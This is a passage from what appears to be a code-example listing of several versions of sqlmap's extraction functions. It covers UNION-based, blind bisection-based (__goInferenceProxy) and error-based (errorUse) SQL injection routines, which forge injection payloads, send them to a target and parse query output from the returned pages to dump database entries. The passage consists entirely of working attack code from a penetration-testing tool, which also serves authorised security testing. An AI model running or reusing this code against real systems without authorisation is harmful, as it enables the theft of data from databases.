                            "FROM DUAL"):
                        test = False
                    else:
                        test = True

                if test == True:
                    # Count the number of SQL query entries output
                    countFirstField = queries[
                        kb.dbms].count % expressionFieldsList[0]
                    countedExpression = origExpr.replace(
                        expressionFields, countFirstField, 1)

                    if re.search(" ORDER BY ", expression, re.I):
                        untilOrderChar = countedExpression.index(" ORDER BY ")
                        countedExpression = countedExpression[:untilOrderChar]

                    count = resume(countedExpression, None)

                    if not stopLimit:
                        if not count or not count.isdigit():
                            output = unionUse(countedExpression, direct=True)

                            if output:
                                count = parseUnionPage(output,
                                                       countedExpression)

                        if count and count.isdigit() and int(count) > 0:
                            stopLimit = int(count)

                            infoMsg = "the SQL query provided returns "
                            infoMsg += "%d entries" % stopLimit
                            logger.info(infoMsg)

                        elif count and not count.isdigit():
                            warnMsg = "it was not possible to count the number "
                            warnMsg += "of entries for the SQL query provided. "
                            warnMsg += "sqlmap will assume that it returns only "
                            warnMsg += "one entry"
                            logger.warn(warnMsg)

                            stopLimit = 1

                        elif (not count or int(count) == 0):
                            warnMsg = "the SQL query provided does not "
                            warnMsg += "return any output"
                            logger.warn(warnMsg)

                            return

                    elif (not count or int(count) == 0) and (not stopLimit or
                                                             stopLimit == 0):
                        warnMsg = "the SQL query provided does not "
                        warnMsg += "return any output"
                        logger.warn(warnMsg)

                        return

                    for num in xrange(startLimit, stopLimit):
                        limitedExpr = agent.limitQuery(num, expression,
                                                       expressionFieldsList)
                        output = unionUse(limitedExpr,
                                          direct=True,
                                          unescape=False)

                        if output:
                            value += output

                    return value

        value = unionUse(expression, direct=True, unescape=False)

    else:
        # Forge the inband SQL injection request
        query = agent.forgeInbandQuery(expression)
        payload = agent.payload(newValue=query)

        infoMsg = "query: %s" % query
        logger.info(infoMsg)

        # Perform the request
        resultPage = Request.queryPage(payload, content=True)
        reqCount += 1

        if temp.start not in resultPage or temp.stop not in resultPage:
            return

        # Parse the returned page to get the exact inband
        # sql injection output
        startPosition = resultPage.index(temp.start)
        endPosition = resultPage.rindex(temp.stop) + len(temp.stop)
        value = str(resultPage[startPosition:endPosition])

        duration = int(time.time() - start)

        infoMsg = "performed %d queries in %d seconds" % (reqCount, duration)
        logger.info(infoMsg)

    return value
Example #27
0
def __goInferenceProxy(expression, fromUser=False, expected=None):
    """
    Retrieve the output of a SQL query characted by character taking
    advantage of an blind SQL injection vulnerability on the affected
    parameter through a bisection algorithm.
    """

    query = agent.prefixQuery(" %s" % temp.inference)
    query = agent.postfixQuery(query)
    payload = agent.payload(newValue=query)
    count = None
    startLimit = 0
    stopLimit = None
    outputs = []
    test = None
    untilLimitChar = None
    untilOrderChar = None

    output = resume(expression, payload)

    if output and (expected == None or
                   (expected == "int" and output.isdigit())):
        return output

    if kb.dbmsDetected:
        _, _, _, expressionFieldsList, expressionFields = agent.getFields(
            expression)

        if len(expressionFieldsList) > 1:
            infoMsg = "the SQL query provided has more than a field. "
            infoMsg += "sqlmap will now unpack it into distinct queries "
            infoMsg += "to be able to retrieve the output even if we "
            infoMsg += "are going blind"
            logger.info(infoMsg)

        # If we have been here from SQL query/shell we have to check if
        # the SQL query might return multiple entries and in such case
        # forge the SQL limiting the query output one entry per time
        # NOTE: I assume that only queries that get data from a table
        # can return multiple entries
        if fromUser and " FROM " in expression:
            limitRegExp = re.search(queries[kb.dbms].limitregexp, expression,
                                    re.I)

            if limitRegExp:
                if kb.dbms in ("MySQL", "PostgreSQL"):
                    limitGroupStart = queries[kb.dbms].limitgroupstart
                    limitGroupStop = queries[kb.dbms].limitgroupstop

                    if limitGroupStart.isdigit():
                        startLimit = int(
                            limitRegExp.group(int(limitGroupStart)))

                    stopLimit = limitRegExp.group(int(limitGroupStop))
                    limitCond = int(stopLimit) > 1

                elif kb.dbms in ("Oracle", "Microsoft SQL Server"):
                    limitCond = False
            else:
                limitCond = True

            # I assume that only queries NOT containing a "LIMIT #, 1"
            # (or similar depending on the back-end DBMS) can return
            # multiple entries
            if limitCond:
                if limitRegExp:
                    stopLimit = int(stopLimit)

                    # From now on we need only the expression until the " LIMIT "
                    # (or similar, depending on the back-end DBMS) word
                    if kb.dbms in ("MySQL", "PostgreSQL"):
                        stopLimit += startLimit
                        untilLimitChar = expression.index(
                            queries[kb.dbms].limitstring)
                        expression = expression[:untilLimitChar]

                if not stopLimit or stopLimit <= 1:
                    if kb.dbms == "Oracle" and expression.endswith(
                            "FROM DUAL"):
                        test = "n"
                    else:
                        message = "can the SQL query provided return "
                        message += "multiple entries? [Y/n] "
                        test = readInput(message, default="Y")

                if not test or test[0] in ("y", "Y"):
                    # Count the number of SQL query entries output
                    countFirstField = queries[
                        kb.dbms].count % expressionFieldsList[0]
                    countedExpression = expression.replace(
                        expressionFields, countFirstField, 1)

                    if re.search(" ORDER BY ", expression, re.I):
                        untilOrderChar = countedExpression.index(" ORDER BY ")
                        countedExpression = countedExpression[:untilOrderChar]

                    count = resume(countedExpression, payload)

                    if not stopLimit:
                        if not count or not count.isdigit():
                            count = __goInference(payload, countedExpression)

                        if count and count.isdigit() and int(count) > 0:
                            count = int(count)

                            message = "the SQL query provided can return "
                            message += "up to %d entries. How many " % count
                            message += "entries do you want to retrieve?\n"
                            message += "[a] All (default)\n[#] Specific number\n"
                            message += "[q] Quit\nChoice: "
                            test = readInput(message, default="a")

                            if not test or test[0] in ("a", "A"):
                                stopLimit = count

                            elif test[0] in ("q", "Q"):
                                return "Quit"

                            elif test.isdigit(
                            ) and int(test) > 0 and int(test) <= count:
                                stopLimit = int(test)

                                infoMsg = "sqlmap is now going to retrieve the "
                                infoMsg += "first %d query output entries" % stopLimit
                                logger.info(infoMsg)

                            elif test[0] in ("#", "s", "S"):
                                message = "How many? "
                                stopLimit = readInput(message, default="10")

                                if not stopLimit.isdigit():
                                    errMsg = "Invalid choice"
                                    logger.error(errMsg)

                                    return None

                                else:
                                    stopLimit = int(stopLimit)

                            else:
                                errMsg = "Invalid choice"
                                logger.error(errMsg)

                                return None

                        elif count and not count.isdigit():
                            warnMsg = "it was not possible to count the number "
                            warnMsg += "of entries for the SQL query provided. "
                            warnMsg += "sqlmap will assume that it returns only "
                            warnMsg += "one entry"
                            logger.warn(warnMsg)

                            stopLimit = 1

                        elif (not count or int(count) == 0):
                            warnMsg = "the SQL query provided does not "
                            warnMsg += "return any output"
                            logger.warn(warnMsg)

                            return None

                    elif (not count or int(count) == 0) and (not stopLimit or
                                                             stopLimit == 0):
                        warnMsg = "the SQL query provided does not "
                        warnMsg += "return any output"
                        logger.warn(warnMsg)

                        return None

                    for num in xrange(startLimit, stopLimit):
                        limitedExpr = agent.limitQuery(num, expression,
                                                       expressionFieldsList)

                        output = __goInferenceFields(limitedExpr,
                                                     expressionFields,
                                                     expressionFieldsList,
                                                     payload, expected)
                        outputs.append(output)

                    return outputs

        elif kb.dbms == "Oracle" and expression.startswith(
                "SELECT ") and " FROM " not in expression:
            expression = "%s FROM DUAL" % expression

        outputs = __goInferenceFields(expression, expressionFields,
                                      expressionFieldsList, payload, expected)

        returnValue = ", ".join([output for output in outputs])

    else:
        returnValue = __goInference(payload, expression)

    return returnValue
Example #28
0
def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, resumeValue=True, unpack=True, charsetType=None, firstChar=None, lastChar=None, dump=False):
    """
    Retrieve the output of a SQL query characted by character taking
    advantage of an blind SQL injection vulnerability on the affected
    parameter through a bisection algorithm.
    """

    initTechnique(kb.technique)

    query = agent.prefixQuery(kb.injection.data[kb.technique].vector)
    query = agent.suffixQuery(query)
    payload = agent.payload(newValue=query)
    count = None
    startLimit = 0
    stopLimit = None
    outputs = BigArray()
    test = None
    untilLimitChar = None
    untilOrderChar = None

    if resumeValue:
        output = resume(expression, payload)
    else:
        output = None

    if output and (expected is None or (expected == EXPECTED.INT and output.isdigit())):
        return output

    if not unpack:
        return __goInference(payload, expression, charsetType, firstChar, lastChar, dump)

    _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression)

    rdbRegExp = re.search("RDB\$GET_CONTEXT\([^)]+\)", expression, re.I)
    if rdbRegExp and Backend.isDbms(DBMS.FIREBIRD):
        expressionFieldsList = [expressionFields]

    if len(expressionFieldsList) > 1:
        infoMsg = "the SQL query provided has more than a field. "
        infoMsg += "sqlmap will now unpack it into distinct queries "
        infoMsg += "to be able to retrieve the output even if we "
        infoMsg += "are going blind"
        logger.info(infoMsg)

    # If we have been here from SQL query/shell we have to check if
    # the SQL query might return multiple entries and in such case
    # forge the SQL limiting the query output one entry per time
    # NOTE: I assume that only queries that get data from a table
    # can return multiple entries
    if fromUser and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \
      not in FROM_TABLE) or (Backend.getIdentifiedDbms() in FROM_TABLE and not \
      expression.upper().endswith(FROM_TABLE[Backend.getIdentifiedDbms()]))) \
      and not re.search(SQL_SCALAR_REGEX, expression, re.I):

        limitRegExp = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query, expression, re.I)
        topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I)

        if limitRegExp or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
                limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query

                if limitGroupStart.isdigit():
                    startLimit = int(limitRegExp.group(int(limitGroupStart)))

                stopLimit = limitRegExp.group(int(limitGroupStop))
                limitCond = int(stopLimit) > 1

            elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
                if limitRegExp:
                    limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
                    limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query

                    if limitGroupStart.isdigit():
                        startLimit = int(limitRegExp.group(int(limitGroupStart)))

                    stopLimit = limitRegExp.group(int(limitGroupStop))
                    limitCond = int(stopLimit) > 1
                elif topLimit:
                    startLimit = 0
                    stopLimit = int(topLimit.group(1))
                    limitCond = int(stopLimit) > 1

            elif Backend.isDbms(DBMS.ORACLE):
                limitCond = False
        else:
            limitCond = True

        # I assume that only queries NOT containing a "LIMIT #, 1"
        # (or similar depending on the back-end DBMS) can return
        # multiple entries
        if limitCond:
            if limitRegExp:
                stopLimit = int(stopLimit)

                # From now on we need only the expression until the " LIMIT "
                # (or similar, depending on the back-end DBMS) word
                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                    stopLimit += startLimit
                    untilLimitChar = expression.index(queries[Backend.getIdentifiedDbms()].limitstring.query)
                    expression = expression[:untilLimitChar]

                elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
                    stopLimit += startLimit

            if not stopLimit or stopLimit <= 1:
                if Backend.getIdentifiedDbms() in FROM_TABLE and expression.upper().endswith(FROM_TABLE[Backend.getIdentifiedDbms()]):
                    test = False
                else:
                    test = True

            if test:
                # Count the number of SQL query entries output
                countFirstField = queries[Backend.getIdentifiedDbms()].count.query % expressionFieldsList[0]
                countedExpression = expression.replace(expressionFields, countFirstField, 1)

                if re.search(" ORDER BY ", expression, re.I):
                    untilOrderChar = countedExpression.index(" ORDER BY ")
                    countedExpression = countedExpression[:untilOrderChar]

                if resumeValue:
                    count = resume(countedExpression, payload)

                if not stopLimit:
                    if not count or not count.isdigit():
                        count = __goInference(payload, countedExpression, 2, firstChar, lastChar)

                    if isNumPosStrValue(count):
                        count = int(count)

                        if batch:
                            stopLimit = count
                        else:
                            message = "the SQL query provided can return "
                            message += "%d entries. How many " % count
                            message += "entries do you want to retrieve?\n"
                            message += "[a] All (default)\n[#] Specific number\n"
                            message += "[q] Quit"
                            test = readInput(message, default="a")

                            if not test or test[0] in ("a", "A"):
                                stopLimit = count

                            elif test[0] in ("q", "Q"):
                                raise sqlmapUserQuitException

                            elif test.isdigit() and int(test) > 0 and int(test) <= count:
                                stopLimit = int(test)

                                infoMsg = "sqlmap is now going to retrieve the "
                                infoMsg += "first %d query output entries" % stopLimit
                                logger.info(infoMsg)

                            elif test[0] in ("#", "s", "S"):
                                message = "how many? "
                                stopLimit = readInput(message, default="10")

                                if not stopLimit.isdigit():
                                    errMsg = "invalid choice"
                                    logger.error(errMsg)

                                    return None

                                else:
                                    stopLimit = int(stopLimit)

                            else:
                                errMsg = "invalid choice"
                                logger.error(errMsg)

                                return None

                    elif count and not count.isdigit():
                        warnMsg = "it was not possible to count the number "
                        warnMsg += "of entries for the SQL query provided. "
                        warnMsg += "sqlmap will assume that it returns only "
                        warnMsg += "one entry"
                        logger.warn(warnMsg)

                        stopLimit = 1

                    elif (not count or int(count) == 0):
                        warnMsg = "the SQL query provided does not "
                        warnMsg += "return any output"
                        logger.warn(warnMsg)

                        return None

                elif (not count or int(count) == 0) and (not stopLimit or stopLimit == 0):
                    warnMsg = "the SQL query provided does not "
                    warnMsg += "return any output"
                    logger.warn(warnMsg)

                    return None

                try:
                    for num in xrange(startLimit, stopLimit):
                        output = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, num, resumeValue=resumeValue, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump)
                        outputs.append(output)

                except KeyboardInterrupt:
                    print
                    warnMsg = "user aborted during dumping phase"
                    logger.warn(warnMsg)

                return outputs

    elif Backend.getIdentifiedDbms() in FROM_TABLE and expression.upper().startswith("SELECT ") and " FROM " not in expression.upper():
        expression += FROM_TABLE[Backend.getIdentifiedDbms()]

    outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, resumeValue=resumeValue, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump)
    returnValue = ", ".join([output for output in outputs])

    return returnValue
Example #29
0
def errorUse(expression, expected=None, resumeValue=True, dump=False):
    """
    Retrieve the output of a SQL query taking advantage of the error-based
    SQL injection vulnerability on the affected parameter.
    """

    initTechnique(PAYLOAD.TECHNIQUE.ERROR)

    global reqCount

    count = None
    start = time.time()
    startLimit = 0
    stopLimit = None
    outputs = []
    untilLimitChar = None
    untilOrderChar = None
    reqCount = 0

    if resumeValue:
        output = resume(expression, None)
    else:
        output = None

    if output and (expected is None or (expected == EXPECTED.INT and output.isdigit())):
        return output

    _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression)

    # We have to check if the SQL query might return multiple entries
    # and in such case forge the SQL limiting the query output one
    # entry per time
    # NOTE: I assume that only queries that get data from a table can
    # return multiple entries
    if (dump and (conf.limitStart or conf.limitStop)) or (" FROM " in \
       expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_TABLE) \
       or (Backend.getIdentifiedDbms() in FROM_TABLE and not \
       expression.upper().endswith(FROM_TABLE[Backend.getIdentifiedDbms()]))) \
       and ("(CASE" not in expression.upper() or ("(CASE" in expression.upper() and "WHEN use" in expression))) \
       and not any(map(lambda x: x in expression.upper(), ["COUNT(*)", "EXISTS(", "MAX(", "MIN(", "COUNT(DISTINCT"])):

        limitRegExp = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query, expression, re.I)
        topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I)

        if limitRegExp or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
                limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query

                if limitGroupStart.isdigit():
                    startLimit = int(limitRegExp.group(int(limitGroupStart)))

                stopLimit = limitRegExp.group(int(limitGroupStop))
                limitCond = int(stopLimit) > 1

            elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
                if limitRegExp:
                    limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
                    limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query

                    if limitGroupStart.isdigit():
                        startLimit = int(limitRegExp.group(int(limitGroupStart)))

                    stopLimit = limitRegExp.group(int(limitGroupStop))
                    limitCond = int(stopLimit) > 1
                elif topLimit:
                    startLimit = 0
                    stopLimit = int(topLimit.group(1))
                    limitCond = int(stopLimit) > 1

            elif Backend.getIdentifiedDbms() == DBMS.ORACLE:
                limitCond = False
        else:
            limitCond = True

        # I assume that only queries NOT containing a "LIMIT #, 1"
        # (or similar depending on the back-end DBMS) can return
        # multiple entries
        if limitCond:
            if limitRegExp:
                stopLimit = int(stopLimit)

                # From now on we need only the expression until the " LIMIT "
                # (or similar, depending on the back-end DBMS) word
                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                    stopLimit += startLimit
                    untilLimitChar = expression.index(queries[Backend.getIdentifiedDbms()].limitstring.query)
                    expression = expression[:untilLimitChar]

                elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
                    stopLimit += startLimit
            elif dump:
                if conf.limitStart:
                    startLimit = conf.limitStart
                if conf.limitStop:
                    stopLimit = conf.limitStop

            # Count the number of SQL query entries output
            countedExpression = expression.replace(expressionFields, "COUNT(*)", 1)

            if re.search(" ORDER BY ", expression, re.I):
                untilOrderChar = countedExpression.index(" ORDER BY ")
                countedExpression = countedExpression[:untilOrderChar]

            count = resume(countedExpression, None)

            if not count or not count.isdigit():
                _, _, _, _, _, _, countedExpressionFields, _ = agent.getFields(countedExpression)
                count = __oneShotErrorUse(countedExpression, countedExpressionFields)

            if (not count or (count.isdigit() and int(count) == 0)):
                warnMsg = "it was not possible to count the number "
                warnMsg += "of entries for the used SQL query. "
                warnMsg += "sqlmap will assume that it returns only "
                warnMsg += "one entry"
                logger.warn(warnMsg)

                stopLimit = 1
            elif isNumPosStrValue(count):
                if isinstance(stopLimit, int) and stopLimit > 0:
                    stopLimit = min(int(count), int(stopLimit))
                else:
                    stopLimit = int(count)

                    infoMsg = "the SQL query used returns "
                    infoMsg += "%d entries" % stopLimit
                    logger.info(infoMsg)

            try:
                for num in xrange(startLimit, stopLimit):
                    output = __errorFields(expression, expressionFields, expressionFieldsList, expected, num, resumeValue)

                    if output and isinstance(output, list) and len(output) == 1:
                        output = output[0]

                    outputs.append(output)

            except KeyboardInterrupt:
                print
                warnMsg = "user aborted during enumeration. sqlmap "
                warnMsg += "will display partial output"
                logger.warn(warnMsg)

    if not outputs:
        outputs = __errorFields(expression, expressionFields, expressionFieldsList)

    if outputs and isinstance(outputs, list) and len(outputs) == 1 and isinstance(outputs[0], basestring):
        outputs = outputs[0]

    duration = calculateDeltaSeconds(start)

    if not kb.bruteMode:
        debugMsg = "performed %d queries in %d seconds" % (reqCount, duration)
        logger.debug(debugMsg)

    return outputs